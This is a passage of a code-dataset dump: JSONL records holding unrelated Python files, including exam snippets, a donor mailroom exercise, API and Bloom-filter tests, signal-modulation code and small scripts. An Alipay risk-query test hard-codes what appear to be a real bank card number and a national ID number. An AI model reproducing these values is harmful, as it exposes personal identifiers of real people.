pre_sum>max_sum:\n\t\t\t\tmax_sum = pre_sum\n\t\t\t\tprint(max_sum)\n\treturn max_sum\n\n# function(cc)\n\n'''\nK为整型,下面的执行次数\n'''\n# k= 1000\n# while k>1:\n# \tprint(k)\n# \tk=k/2\n\n'''\n比较大小\n'''\n#print(3>2>2,(3,2)<('a','b'),'abc'>'xyz')\ndef complex_test():\n\n\tif 5+4j>2-3j:\n\t\treturn True\n#print( complex_test())\n\n'''\npython 语句正确的是\n'''\nx=3\ny=6\n\n# min=x if xy? x:y\n# if (x>y):print(x)\n# while True:pass\n\n'''\n生成器的作用\n'''\ndef func():\n\tprint('a')\n\tyield\n\tprint('b')\n\tyield\n\tprint('c')\ng = func()\ng.__next__()\ng.__next__()\n\n'''\nmap函数\n'''\nprint(list(map(str,[1,2,3,4,5,6,7,8,9])))\n\n'''\n函数转换问题\n'''\n#int(\"ABcDef\")\n#float(' ' ')\n#bool((3,',\"))\n#str(')\n'''\n函数输出问题\n'''\n# alist=[0,1,2]\n# for i in alist:\n# \tprint(i+1)\n#\n# for i in range(3):\n# \tprint(i+1)\n'''\n全局变量问题\n'''\nglobal adc\n\n'''\nlambda函数问题\n'''\naddlam = lambda x,y: x+y\nprint(addlam(1,2))\n\n'''\nlist 去重问题\n'''\nlist64 = [1,1,2,2,3,4,4,5]\nlist64test=[]\nfor i in list64:\n\tif i not in list64test:\n\t\tlist64test.append(i)\naset = set(list64)\n# print(list(aset))\n\n'''\npython 删除文件\n需要指定路径\n'''\nimport os\n# os.remove()\n# os.rmdir()\n\n'''\n66 随机数问题\n'''\nimport random\na66=random.randrange(1,5)\nprint(a66)\n'''\n67全局变量问题\nglobal\n'''\n\n'''\n68 except用法和作用\n'''\n'''\npython提供了两个非常重要的功能来处理python程序在运行中出现的异常和错误。你可以使用该功能来调试python程序。\n\n什么是异常?\n异常即是一个事件,该事件会在程序执行过程中发生,影响了程序的正常执行。\n\n一般情况下,在Python无法正常处理程序时就会发生一个异常。\n\n异常是Python对象,表示一个错误。\n\n当Python脚本发生异常时我们需要捕获处理它,否则程序会终止执行。\n'''","sub_path":"exam/day1.py","file_name":"day1.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"556216272","text":"#!/usr/bin/env python3\n\n# donor data structure, a list of donors, each donor sublist constains the name, followed by the total donations\n# (for easy sorting), followed by the history of donations\ndonors = [\n[\"Bill Ted\", 726.63, 353.53, 348.1, 25.00],\n[\"Frank Fred\", 178.76, 120.50, 56.76, 1.50],\n[\"Laura Todd\", 5.75, 5.75],\n[\"Steve Lincoln\", 165.28, 75.38, 89.9],\n[\"Lisa Grant\", 209.7, 175.50, 34.20]\n]\n\ndef list_donors():\n \"\"\" Prints a list of the donors by name \"\"\"\n print(\"\\n\" + (\"-\"*10) + \" Donors \" + (\"-\"*10))\n for donor in donors:\n print(donor[0])\n\ndef print_thank_you(name, amount):\n \"\"\"\n Prints a thank for you the given donor and amount\n\n :param name: name of the donor to thank\n :param amount: amount of donation from the donor in dollars\n \"\"\"\n print(f\"\\nDear {name},\")\n print(f\"Thank you for your very generous donation of ${amount:.2f}. It \\nwill go very far in supporting the Human Fund, \\\"Money for \\nPeople.\\\"\\n\")\n print(\"{:>40}\".format(\"Sincerely,\"))\n print(\"{:>50}\".format(\"Art Vandelay\"))\n\ndef get_donor_index(name):\n \"\"\"\n Gets the index of the donor that matches the given name\n\n :param name: the name of the donor to search for\n :returns: the index of the donor or -1 if no match is found\n \"\"\"\n donor_names = []\n for i, donor in enumerate(donors):\n if(donor[0] == name):\n return i\n return -1\n\ndef send_thank_you():\n \"\"\" Handles the send thank you menu selection \"\"\"\n name = input(\"\\nEnter donor full name to send thank you to that donor, list to see a list of a available donors, a new name to add to the list of donors, or 'q' to return to the main menu: \")\n if(name.lower() == \"list\"):\n list_donors()\n send_thank_you()\n elif(name == \"q\"):\n display_prompt()\n elif(get_donor_index(name) == -1):\n donors.append([name, 0])\n i = get_donor_index(name)\n amount = input(\"Enter donation amount or 'q' to return to the main menu: \")\n if (amount == \"q\"):\n display_prompt()\n amount = float(amount)\n donors[i].append(amount)\n donors[i][1] += amount\n print_thank_you(name, amount)\n\ndef total_donations(donor):\n \"\"\" Key sort method to retrieve total contribution amount for donors data structure \"\"\"\n return donor[1]\n\ndef create_report():\n \"\"\" Handles the create report menu selection \"\"\"\n header = \"\\n{:<20}| Total Given | Num Gifts | Average Gift\".format(\"Donor Name\")\n print(header)\n print(\"-\" * (len(header) - 1))\n donors.sort(key=total_donations, reverse=True)\n for donor in donors:\n print(\"{:<20}| ${:>10.2f} | {:>9} | ${:>11.2f}\".format(donor[0], donor[1], len(donor) - 2, donor[1]/(len(donor)-2)))\n\ndef display_prompt():\n \"\"\" Handles the main user input loop by displaying the main menu and receiving user input \"\"\"\n while(True):\n print(\"\\nChoose from the following menu of options:\")\n print(\"1. Send a Thank You\")\n print(\"2. Create a Report\")\n print(\"3. Quit\")\n\n selection = input(\"\\nPlease enter your choice: \")\n\n if (selection == \"1\"):\n send_thank_you()\n elif (selection == \"2\"):\n create_report()\n elif (selection == \"3\"):\n exit()\n\nif __name__ == '__main__':\n display_prompt()","sub_path":"students/KevinWaldron/lesson03/mailroom.py","file_name":"mailroom.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"158566515","text":"\n\n# Copyright 2013 Mirantis, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport json\nimport uuid\n\nfrom tempest import exceptions\nfrom tempest import test\n\nfrom functionaltests.api import base\n\n\nclass SanityTests(base.TestCase):\n\n @test.attr(type='smoke')\n def test_get_list_obj(self):\n resp, _ = self.client.get_list_obj('')\n self.assertEqual(200, resp.status)\n\n @test.attr(type='smoke')\n def test_get_list_workbooks(self):\n resp, body = self.client.get_list_obj('workbooks')\n\n self.assertEqual(200, resp.status)\n self.assertEqual([], body['workbooks'])\n\n @test.attr(type='smoke')\n def test_get_workbook(self):\n self.client.create_obj('workbooks', 'test')\n self.obj.append(['workbooks', 'test'])\n resp, body = self.client.get_list_obj('workbooks/test')\n\n self.assertEqual(200, resp.status)\n self.assertEqual('test', body['name'])\n\n @test.attr(type='smoke')\n def test_get_executions(self):\n self.client.create_obj('workbooks', 'test')\n self.obj.append(['workbooks', 'test'])\n resp, body = self.client.get_list_obj('workbooks/test/executions')\n\n self.assertEqual(200, resp.status)\n self.assertEqual([], body['executions'])\n\n @test.attr(type='smoke')\n def test_create_and_delete_workbook(self):\n resp, body = self.client.create_obj('workbooks', 'test')\n self.obj.append(['workbooks', 'test'])\n\n self.assertEqual(201, resp.status)\n self.assertEqual('test', body['name'])\n\n resp, body = self.client.get_list_obj('workbooks')\n\n self.assertEqual(200, resp.status)\n self.assertEqual('test', body['workbooks'][0]['name'])\n\n self.client.delete_obj('workbooks', 'test')\n _, body = self.client.get_list_obj('workbooks')\n\n self.assertEqual([], body['workbooks'])\n\n @test.attr(type='smoke')\n def test_update_workbook(self):\n self.client.create_obj('workbooks', 'test')\n self.obj.append(['workbooks', 'test'])\n resp, body = self.client.update_obj('workbooks', 'test')\n\n self.assertEqual(200, resp.status)\n self.assertEqual('testupdated', body['name'])\n\n self.obj.append(['workbooks', 'testupdated'])\n\n @test.attr(type='smoke')\n def test_get_workbook_definition(self):\n self.client.create_obj('workbooks', 'test')\n self.obj.append(['workbooks', 'test'])\n self.client.upload_workbook_definition('test')\n resp, body = self.client.get_workbook_definition('test')\n\n self.assertEqual(200, resp.status)\n self.assertIsNotNone(body)\n\n @test.attr(type='smoke')\n def test_upload_workbook_definition(self):\n self.client.create_obj('workbooks', 'test1')\n self.obj.append(['workbooks', 'test1'])\n resp, body = self.client.upload_workbook_definition('test1')\n\n self.assertEqual(200, resp.status)\n self.assertIsNotNone(body)\n\n @test.attr(type='negative')\n def test_double_create_obj(self):\n self.client.create_obj('workbooks', 'test')\n self.obj.append(['workbooks', 'test'])\n\n self.assertRaises(exceptions.Conflict, self.client.create_obj,\n 'workbooks', 'test')\n\n self.client.delete_obj('workbooks', 'test')\n _, body = self.client.get_list_obj('workbooks')\n\n self.assertEqual([], body['workbooks'])\n\n @test.attr(type='negative')\n def test_get_nonexistent_workbook_definition(self):\n self.assertRaises(exceptions.NotFound,\n self.client.get_workbook_definition,\n 'fksn')\n\n @test.attr(type='negative')\n def test_get_executions_list_from_nonexistent_workbook(self):\n self.assertRaises(exceptions.NotFound, self.client.get_list_obj,\n 'workbooks/nonexistentworkbook/executions')\n\n\nclass AdvancedTests(base.TestCaseAdvanced):\n\n @test.attr(type='positive')\n def test_create_execution(self):\n resp, body = self._create_execution('test123', 'aloha')\n\n self.assertEqual(201, resp.status)\n self.assertEqual('test123', body[\"workbook_name\"])\n\n @test.attr(type='positive')\n def test_get_execution(self):\n _, execution = self._create_execution('test123', 'aloha')\n\n resp, body = self.client.get_execution('test123', execution['id'])\n\n body = json.loads(body)\n del execution['state']\n del body['state']\n\n self.assertEqual(200, resp.status)\n self.assertEqual(execution, body)\n\n # TODO(smurashov): Need to add test which would check execution update\n\n @test.attr(type='positive')\n def test_get_tasks_list(self):\n execution = self._create_execution('test123', 'aloha')[1]\n\n resp, tasks = self.client.get_tasks_list('test123', execution['id'])\n\n self.assertEqual(200, resp.status)\n for task in tasks:\n self.assertEqual(execution['id'], task['execution_id'])\n self.assertEqual('test123', task['workbook_name'])\n\n @test.attr(type='positive')\n def test_get_task(self):\n _, execution = self._create_execution('test123', 'aloha')\n\n tasks = self.client.get_tasks_list('test123', execution['id'])[1]\n\n resp, task = self.client.get_task('test123', execution['id'],\n tasks[0]['id'])\n\n del tasks[0]['state']\n del task['state']\n\n self.assertEqual(200, resp.status)\n self.assertEqual(tasks[0], task)\n\n # TODO(smurashov): Need to add test which would check task update\n\n @test.attr(type='negative')\n def test_create_execution_in_nonexistent_workbook(self):\n self.assertRaises(exceptions.NotFound, self._create_execution,\n 'nonexistentworkbook', 'catchme')\n\n def test_get_nonexistent_execution(self):\n\n self.assertRaises(exceptions.NotFound, self.client.get_execution,\n 'test123', str(uuid.uuid4()))\n\n @test.attr(type='negative')\n def test_update_nonexistent_execution(self):\n\n id = str(uuid.uuid4())\n put_body = {\n \"id\": id,\n \"state\": \"STOPPED\"\n }\n\n self.assertRaises(exceptions.NotFound, self.client.update_execution,\n 'test123', id, put_body)\n\n @test.attr(type='negative')\n def test_get_tasks_list_of_nonexistent_execution(self):\n\n self.assertRaises(exceptions.NotFound, self.client.get_tasks_list,\n 'test123', str(uuid.uuid4()))\n\n\nclass AdvancedNegativeTestsWithExecutionCreate(base.TestCaseAdvanced):\n\n def setUp(self):\n super(AdvancedNegativeTestsWithExecutionCreate, self).setUp()\n\n self.execution = self._create_execution('test123', 'aloha')[1]\n\n @test.attr(type='negative')\n def test_get_nonexistent_task(self):\n self.assertRaises(exceptions.NotFound, self.client.get_task,\n 'test123', self.execution['id'], str(uuid.uuid4()))\n\n @test.attr(type='negative')\n def test_update_nonexistent_task(self):\n\n id = str(uuid.uuid4())\n put_body = {\n \"id\": id,\n \"state\": \"ERROR\"\n }\n\n self.assertRaises(exceptions.NotFound, self.client.update_task,\n 'test123', self.execution['id'], str(uuid.uuid4()),\n put_body)\n","sub_path":"functionaltests/api/v1/test_mistral_basic.py","file_name":"test_mistral_basic.py","file_ext":"py","file_size_in_byte":7856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"50920309","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom tornado import testing\n\nfrom uline_risk.utils.alipay import query_alipay_mapi\n\n\nclass AlipaySignTest(testing.AsyncTestCase):\n @testing.gen_test(timeout=20)\n def test_sign(self):\n biz_content = {\"bank_card_no\": '6228480402564890018', 'business_license_no': \"31339\",\n \"cert_no\": \"411722197303195710\",\n \"risk_type\": \"riskinfo_cert_no,riskinfo_bank_card_no,riskinfo_business_license_no\"}\n result = yield query_alipay_mapi.query_ali_mapi('customerrisk_query', biz_content, 'risk',\n requred_param_key='required_keys',\n crypto_type='RSA2', charset='GBK')\n print(result)\n\n @testing.gen_test(timeout=20)\n def test_customer_risk_send(self):\n biz_content = {\n 'smid': '659004198009128344',\n 'process_code': '01'\n }\n\n result = yield query_alipay_mapi.query_ali_mapi('customerrisk_send', biz_content, 'risk',\n requred_param_key='required_keys',\n crypto_type='RSA2', http_method=\"POST\", charset='GBK')\n print(result)\n","sub_path":"python/uline/uline_risk/uline_risk/test/utils/alipay/test_alipay_sign.py","file_name":"test_alipay_sign.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"651531540","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 2017年4月18日\n\n@author: onesilent\n'''\nimport logging\n\n\nclass Logger(object):\n def __init__(self):\n #创建logger对象,为避免重复创建对象,导致日��打印重复,所以对象创建在init方法中,只初始化一次,\n '''\n 参数放在初始化方法里无法传值???\n 也许有办法,但是我现在还不知道\n 反正会创建多个对象,导致日志重复\n '''\n self.logger = logging.getLogger()\n self.consoleLog = logging.StreamHandler()\n self.fileLog = logging.FileHandler(\"../../../log/CrawlerComment.log\",\"w\",encoding = \"UTF-8\")\n def printLog(self,logLevel,logMsg):\n #设置logger对象的日志级别,不设置的默认级别是警告,这个日志级别是以下控制台和文件输出日志级别的上限\n self.logger.setLevel(logging.DEBUG)\n # 设置日志输出格式\n fmt = logging.Formatter('%(asctime)s [line:%(lineno)d] %(levelname)s %(message)s ')\n #调用StreamHandler 方法在控制台输出日志\n \n self.consoleLog.setFormatter(fmt)\n self.consoleLog.setLevel(logLevel)\n self.logger.addHandler(self.consoleLog)\n \n #调用StreamHandler 方法在文件中输出日志\n \n self.fileLog.setFormatter(fmt)\n self.fileLog.setLevel(logLevel)\n self.logger.addHandler(self.fileLog)\n \n logging.info(logMsg)\n","sub_path":"pigworld/fenghuang/tools/LogTools.py","file_name":"LogTools.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"164169647","text":"palindromes = [ 'A',\n 'Аргентина манит негра',\n 'Да, гневен гад',\n 'Кот, сука, за кусток',\n 'Отлично кончил-то',\n 'Кошмар, срам, шок',\n 'Акт у нимф - минутка',\n 'Дорог Рим город или дорог Миргород?!',\n 'Bob',\n 'Nigro or gin?',\n 'Dogma: I am God',\n 'Madam, I\\'m Adam.',\n 'Standart — smallest, sell Amstrad nats.',\n 'Evil fit some kill like me, kill like most, if live.',\n 'Do me?.. Kill I victim? Must summit civil like mod.',\n 'Anita lava la tina',\n 'saippuakauppias',\n 'Reit nie tot ein Tier',\n 'Sum summus mus',\n 'Anastas kazak satsana',\n 'Ora trovo: vortaro',\n '.шалаш,',\n '.a.'\n ]\n\nnot_palindromes = ['oracle', '01', '-10', '35456646', '!@#$%^&*()\"', '', ' ', ' , ']\n","sub_path":"palindrome_list.py","file_name":"palindrome_list.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"226200341","text":"#!/usr/bin/env python\n# type: ignore\nimport pandas as pd\nimport logging\nimport random\nimport os\n\n# ! this is a dummy algo that you may use for your compute job\n\nl = logging.getLogger(\"[algo_log]\")\nl.setLevel(\"DEBUG\")\nsh = logging.StreamHandler()\nformatter = logging.Formatter(\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\nsh.setFormatter(formatter)\nl.addHandler(sh)\n\n\ndef main():\n inputs = os.getenv(\"INPUTS\")\n did = os.getenv(\"DIDS\")\n did = did[0]\n l.debug(f\"LISTDIR INPUTS:\\n{os.listdir(inputs)}\")\n listdir_did = os.path.join(inputs, os.listdir(inputs)[0])\n l.debug(f\"LISTDIR_DID:\\n{listdir_did}\")\n full_path = os.path.join(listdir_did, os.listdir(listdir_did)[0])\n l.debug(f\"FULL_PATH:\\n{full_path}\")\n df1 = pd.read_csv(full_path)\n\n df1_len = len(df1)\n df1 = df1.iloc[: int((1 / 10) * df1_len)]\n\n for i in range(df1.shape[0]):\n for j in range(df1.shape[1]):\n df1.iloc[i, j] = chr(random.randint(0, 255))\n\n l.debug(f\"encrypted output: {df1}\")\n\n outputs = os.getenv(\"OUTPUTS\")\n\n df1.to_csv(os.path.join(outputs, \"output1.csv\"))\n l.debug(f'OUTPUTS:\\n{os.listdir(os.environ[\"OUTPUTS\"])}')\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"algos/violating/encrypts.py","file_name":"encrypts.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"510475231","text":"import os\nimport uuid\n\nimport fvnbloom\n\n\ndef test_add_test():\n total = 1000\n uuids = []\n\n bf = fvnbloom.create_empty(capacity=total, error_rate=0.01)\n\n for i in range(total):\n did = uuid.uuid4().hex\n uuids.append(did)\n bf.add(did)\n\n for did in uuids:\n assert did in bf\n\n\ndef test_union():\n total = 1000\n strings1 = []\n bf1 = fvnbloom.create_empty(capacity=2 * total, error_rate=0.01)\n\n for i in range(total):\n did = uuid.uuid4().hex\n strings1.append(did)\n bf1.add(did)\n\n strings2 = []\n bf2 = fvnbloom.create_empty(capacity=2 * total, error_rate=0.01)\n\n for i in range(total):\n did = uuid.uuid4().hex\n strings2.append(did)\n bf2.add(did)\n\n bf = bf1.union(bf2)\n\n for did in strings1 + strings2:\n assert did in bf\n\n\ndef test_save_load():\n total = 1000\n uuids = []\n\n bf = fvnbloom.create_empty(capacity=total, error_rate=0.01)\n\n for i in range(total):\n did = uuid.uuid4().hex\n uuids.append(did)\n bf.add(did)\n\n path = 'test.json.bloom'\n\n try:\n bf.save(path)\n bf_loaded = fvnbloom.load(path)\n\n for did in uuids:\n assert did in bf_loaded\n\n except:\n assert False\n finally:\n os.remove(path)\n\n\ndef test_error_rate():\n total = 10000\n uuids = []\n\n bf = fvnbloom.create_empty(capacity=total, error_rate=0.01)\n\n for i in range(total):\n did = uuid.uuid4().hex\n uuids.append(did)\n bf.add(did)\n\n fps = 0\n for i in range(total):\n did = uuid.uuid4().hex\n if did in bf:\n fps = fps + 1\n\n fpr = fps / total\n\n assert abs(fpr - 0.01) < 0.005","sub_path":"tests/bloom_tests.py","file_name":"bloom_tests.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"558663423","text":"# File: pamfun.py\n# Functions for pulse amplitude modulation (PAM)\nfrom pylab import *\nimport ecen_lib as ecen\n\ndef pam11(sig_an, Fs, ptype, pparms=[]):\n\t\"\"\"\n\tPulse amplitude modulation: a_n -> s(t), -TB/2<=t<(N-1/2)*TB,\n\tV1.1 for 'rect', 'sinc', and 'tri' pulse types.\n\n\t>>>>> sig_st = pam10(sig_an, Fs, ptype, pparms) <<<<<\n\n\twhere sig_an: sequence from class sigSequ\n\t\t\tsig_an.signal(): N-symbol DT input sequence a_n, 0 <= n < N\n\t\t\tsig_an.get_FB(): Baud rate of a_n, TB=1/FB\n\t\t\tFs: sampling rate of s(t)\n\t\t\tptype: pulse type ('rect','sinc','tri')\n\t\t\tpparms not used for 'rect','tri'\n\t\t\tpparms = [k, beta] for 'sinc'\n\t\t\tk: \"tail\" truncation parameter for 'sinc'\n\t\t\t(truncates p(t) to -k*TB <= t < k*TB)\n\t\t\tbeta: Kaiser window parameter for 'sinc'\n\t\t\tsig_st: waveform from class sigWave\n\t\t\tsig_st.timeAxis(): time axis for s(t), starts at -TB/2\n\t\t\tsig_st.signal(): CT output signal s(t), -TB/2<=t<(N-1/2)*TB,\n\t\t\twith sampling rate Fs\n\t\"\"\"\n\tN = len(sig_an) # Number of data symbols\n\tFB = sig_an.get_FB() # Baud rate\n\tn0 = sig_an.get_n0() # Starting index\n\tixL = ceil(-Fs*(n0+0.5)/float(FB)) # Left index for time axis\n\tixR = ceil(Fs*(n0+N-0.5)/float(FB)) # Right index for time axis\n\ttt = arange(ixL,ixR)/float(Fs) # Time axis for s(t)\n\tt0 = tt[0] # Start time for s(t)\n\n\t# ***** Conversion from DT a_n to CT a_s(t) *****\n\tan = sig_an.signal() # Sequence a_n\n\tast = zeros(len(tt)) # Initialize a_s(t)\n\tix = array(around(Fs*arange(0,N)/float(FB)),int)\n\n\t# Symbol center indexes\n\tast[ix-int(ixL)] = Fs*an # delta_n -> delta(t) conversion\n\n\t# ***** Set up PAM pulse p(t) *****\n\tptype = ptype.lower() # Convert ptype to lowercase\n\n\t# Set left/right limits for p(t)\n\tif (ptype=='rect'):\n\t\tkL = -0.5; kR = -kL\n\telse:\n\t\tkL = -1.0; kR = -kL # Default left/right limits\n\n\tixpL = ceil(Fs*kL/float(FB)) # Left index for p(t) time axis\n\tixpR = ceil(Fs*kR/float(FB)) # Right index for p(t) time axis\n\tttp = arange(ixpL,ixpR)/float(Fs) # Time axis for p(t)\n\tpt = zeros(len(ttp)) # Initialize pulse p(t)\n\n\tif (ptype=='rect'): # Rectangular p(t)\n\t\tix = where(logical_and(ttp>=kL/float(FB), ttp=0)\n\t\tpt[ix] = 1-ttp[ix]*FB\n\t\tprint('length tpp: ', str(len(ttp)))\n\n\tif (ptype=='sinc'):\n\t\tnk = round(pparms[0]*float(Fs/FB))\n\t\tnn = arange(-nk, nk)\n\t\tpt = sinc(nn/float(Fs/FB))\n\n\t\tif pparms[1] > 0:\n\t\t\tpwt = pt*kaiser(len(pt),pparms[1])\n\t\t\tpt = pwt\n\n\tif (ptype=='man'):\n\t\tix = where(ttp<0)\n\t\tpt[ix] = -1\n\t\tix = where(ttp>=0)\n\t\tpt[ix] = 1\n\t\tprint('length tpp: ', str(len(ttp)))\n\n\tif (ptype=='rcf'):\n \t\tnk = round(pparms[0]*(Fs/FB))\n \t\tnn = np.arange(-nk,nk)\n \t\tpt = np.sinc(nn/float(Fs/FB)) # sinc pulse\n \t\tif len(pparms) > 1:\n \t\t\tp2t = 0.25*np.pi*np.ones(len(nn))\n \t\t\tix = np.where(np.power(2*pparms[1]*nn/float(Fs/FB),2.0) != 1)[0]\n \t\t\tp2t[ix] = np.cos(np.pi*pparms[1]*nn[ix]/float(Fs/FB))\n \t\t\tp2t[ix] = p2t[ix]/(1-np.power(2*pparms[1]*nn[ix]/float(Fs/FB),2.0))\n \t\t\tpt = pt*p2t\n\n\t# ***** Filter with h(t) = p(t) *****\n\tst = convolve(ast,pt)/float(Fs) # s(t) = a_s(t)*p(t)\n\tst = st[-ixpL:ixR-ixL-ixpL] # Trim after convolution\n\n\treturn ecen.sigWave(st, Fs, t0) # Return waveform from sigWave class\t\n\n\n\n\n","sub_path":"pamfun.py","file_name":"pamfun.py","file_ext":"py","file_size_in_byte":3209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"151138832","text":"#! /usr/bin/python3\n\nimport time\nfrom tkinter import *\ntk = Tk()\ncanvas = Canvas(tk, width=600, height=600, bd=0, highlightthickness=0, bg=\"gray10\")\ncanvas.pack()\ncanvas.create_rectangle(250, 200, 350, 400, fill=\"red\")\ncanvas.create_rectangle(265, 260, 400, 300, fill=\"red\")\ncanvas.create_rectangle(400, 260, 440, 300, fill=\"navajowhite\")\ncanvas.create_line(420, 290, 440, 290)\ncanvas.create_line(420, 290, 440, 290)\ncanvas.create_line(420, 280, 440, 280)\ncanvas.create_line(420, 270, 440, 270)\nface = canvas.create_rectangle(250, 100, 350, 200, fill=\"navajowhite\")\ncanvas.create_rectangle(250, 400, 295, 550, fill=\"teal\")\ncanvas.create_rectangle(305, 400, 350, 550, fill=\"teal\")\nhair1 = canvas.create_rectangle(230, 100, 250, 180, fill=\"black\")\nhair2 = canvas.create_rectangle(250, 80, 350, 100, fill=\"black\")\nhair3 = canvas.create_polygon(230, 180, 250, 200, 250, 180, fill=\"black\")\ntk.update()\ntime.sleep(2)\nfor x in range(60):\n canvas.move(face, -3, 0)\n canvas.move(hair1, -3, 0)\n canvas.move(hair2, -3, 0)\n canvas.move(hair3, -3, 0)\n tk.update()\n time.sleep(0.05)\ntk.update()\nnewface = canvas.create_rectangle(70, 100, 170, 200, fill=\"white\")\nfor x in range(114):\n canvas.move(face, 0, 3)\n canvas.move(newface, 0, 3)\n canvas.move(hair1, 0, 3)\n canvas.move(hair2, 0, 3)\n canvas.move(hair3, 0, 3)\n tk.update()\n time.sleep(0.01)\nblues = ['gray80', 'gray76', 'gray72', 'gray68', 'gray64', 'gray60', 'gray56', 'gray52', 'gray48', 'gray44', 'gray40', 'gray36', 'gray32', 'gray28', 'gray24', 'gray20', 'gray16', 'gray12', 'gray11', 'gray10']\nfor x in blues:\n canvas.create_rectangle(70, 442, 170, 542, fill=x)\n tk.update()\n time.sleep(0.025)\ncanvas.create_line(100, 492, 100, 542, fill=\"red2\")\ncanvas.create_line(100, 492, 90, 481, fill=\"red2\")\ntk.update()\n\ncanvas.mainloop()\n","sub_path":"graphics/tkinter/head.py","file_name":"head.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"611223226","text":"import random\r\nfrom time import sleep\r\n\r\nrandom.seed(1)\r\n\r\ndef delay():\r\n\tsec = random.randint(1, 5)\r\n\tprint(f\"Sleeping for {sec} second(s)\")\r\n\tsleep(sec)\r\n\t\r\n\t\r\ndef main():\r\n\tfor i in range(0,5):\r\n\t\tprint(i)\r\n\t\tdelay()\r\n\t\r\nif __name__ == \"__main__\":\r\n\tmain()","sub_path":"random_sleep_2.py","file_name":"random_sleep_2.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"511568743","text":"# from bs4 import BeautifulSoup as soup\n# from urllib.request import urlopen\n# import pandas as pd\n# url = \"https://timesofindia.indiatimes.com/city/kolkata/youth-in-car-chased-and-robbed-during-immersion-at-naktala/articleshow/71574681.cms\"\n# html = urlopen(url)\n# soup = soup(html, 'lxml')\n# #print(soup.prettify())\n# content = []\n# temp = soup.find_all('div', {'class': 'Normal'}, True)[0].text\n# content.append(temp.strip().replace('\\n', ''))\n# print(content)\nimport pandas as pd\nfilenames = ['TOI','NDTV','Kolkata24*7']\ndf2 = []\nfor f in filenames:\n df = pd.read_csv(\"./res/\"+f+\".csv\")\n df = df[df.columns[1:]]\n df2.append(df)\ncombined_csv = pd.concat(df2)\ncombined_csv.to_csv( \"./res/combined_csv.csv\", index=False, encoding='utf-8-sig')\nl = [x for x in range(1, 192)]\ndf = pd.read_csv(\"./res/combined_csv.csv\")\n#print(len(df['Time']))\ndf.insert(0,\"Index\",l )\ndf.to_csv('./res/AccidentReport.csv',index=False, encoding='utf-8-sig')","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"121415631","text":"\r\nfrom __future__ import generators\r\nimport os\r\nimport re\r\nimport stat\r\n\r\n\r\n#\r\n# Useful function to return a list of files in a directory based on a dos-style wildcard like \"*.txt\"\r\n#\r\n# for name in WildcardSearch( \"d:/hl2/src4/dt*.cpp\", 1 ):\r\n#\tprint name\r\n#\r\ndef WildcardSearch( wildcard, bRecurse=0 ):\r\n\t# First find the base directory name.\r\n\tiLast = wildcard.rfind( \"/\" )\r\n\tif iLast == -1:\r\n\t\tiLast = wildcard.rfind( \"\\\\\" )\r\n\r\n\tif iLast == -1:\r\n\t\tdirName = \".\"\r\n\t\tdosStyleWildcard = wildcard\r\n\telse:\r\n\t\tdirName = wildcard[0:iLast]\r\n\t\tdosStyleWildcard = wildcard[iLast+1:]\r\n\t\t\r\n\t# Now generate a regular expression for the search.\r\n\t# DOS -> RE\r\n\t# * -> .*\r\n\t# . -> \\.\r\n\t# ? -> .\r\n\treString = dosStyleWildcard.replace( \".\", r\"\\.\" ).replace( \"*\", \".*\" ).replace( \"?\", \".\" )\r\n\tmatcher = re.compile( reString, re.IGNORECASE )\r\n\r\n\treturn __GetFiles_R( matcher, dirName, bRecurse )\r\n\r\ndef __GetFiles_R( matcher, dirName, bRecurse ):\r\n\tfileList = []\r\n\t# For each file, see if we can find the regular expression.\r\n\tfiles = os.listdir( dirName )\r\n\tfor baseName in files:\r\n\t\tfilename = dirName + \"/\" + baseName\r\n\r\n\t\tmode = os.stat( filename )[stat.ST_MODE]\r\n\t\tif stat.S_ISREG( mode ):\r\n\t\t\t# Make sure the file matches the search string.\r\n\t\t\tif matcher.match( baseName ):\r\n\t\t\t\tfileList.append( filename )\r\n\r\n\t\telif bRecurse and stat.S_ISDIR( mode ):\r\n\t\t\tfileList += __GetFiles_R( matcher, filename, bRecurse )\r\n\r\n\treturn fileList\t\t\t\t\r\n\t\r\n\r\n","sub_path":"devtools/WildcardSearch.py","file_name":"WildcardSearch.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"268003879","text":"from django.conf import settings\nfrom django.db import models\nfrom 